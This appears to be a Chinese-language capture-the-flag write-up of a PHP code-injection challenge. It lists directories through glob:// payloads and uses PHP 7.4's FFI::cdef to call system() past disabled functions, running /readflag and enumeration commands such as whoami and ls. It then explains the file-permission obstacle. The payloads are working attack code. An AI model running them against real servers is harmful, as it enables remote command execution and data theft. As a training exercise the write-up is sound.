信息收集
上一题的读取flag方式不能用了,使用后的回显是:could not find driver
解题
同样的查目录方法
php
c=var_export(scandir("glob:///*"));die();
php
c=foreach(new DirectoryIterator("glob:///*") as $a){
echo($a->__toString().' ');
}
ob_flush();
php
c=if ( $a = opendir("glob:///*") ) {
while ( ($file = readdir($a)) !== false ) {
echo $file."<br>";
}
closedir($a);
exit();
}

读取flag
关于FFI的博客:PHP7.4 FFI 扩展安全问题
我只说FFI:cdef的一些结论:
php7.4才有
第二个参数可以缺省,缺省时大多情况下也能找到对应函数,有点类似于C的GetProcAddress
这个被调用的C函数由于没有写权限,前端没有回显
php
public static FFI::cdef(string $code = "", ?string $lib = null): FFI
最终答案
php
c=$ffi=FFI::cdef("int system(const char *command);");
$ffi->system('/readflag > 2.txt');die();
其中readflag是可执行文件,不是flag,所以执行/readflag后将结果输出到2.txt,就能拿到flag
由于没有目录穿透的手段了,只能复制到当前目录进行读取,可以使用include
或是readgzfile
啥的,都不影响
尝试过程
php
c=$ffi=FFI::cdef("int system(const char *command);");
$ffi->system('cp /flag36x.txt > 1.txt');
$ffi->system('cp /readflag 2.txt');die();
1.txt没有内容,2.txt是个ELF文件,开头有个ELF字样,就像windows可执行文件PE文件开头有MZ字样,图片文件开头也有PNG等能标识文件格式的字样。
这是一段伪C代码,因为这是从硬编码翻译过来的,与原来的C代码可能有所出入
使用uid设置为管理员权限
puts输出一段字符串
执行system("cat /flag36x.txt"),这和php中的代码效果相同
猜测/flag36x.txt只有管理员能读
执行下面命令查看文件属性
php
c=$ffi=FFI::cdef("int system(const char *command);");
$ffi->system('ls / -al > ls.txt');exit();

关于权限,看博客:Linux:文件权限详解及修改方法
看权限分类即可
php
c=$ffi=FFI::cdef("int system(const char *command);");
$ffi->system('whoami > who.txt');exit();
打开who.txt得到我们是www-data
php
c=$ffi=FFI::cdef("int system(const char *command);");
$ffi->system('groups www-data > groups.txt');exit();
groups.txt得到www-data : www-data,显然我们不属于管理员用户组
而flag36x.txt的权限是拥有者可读 和所属用户组可读 ,我们不满足,无法读取
如果尝试复制这个文件就会提示如下错误
shell
cp: missing destination file operand after '/flag36x.txt'
Try 'cp --help' for more information.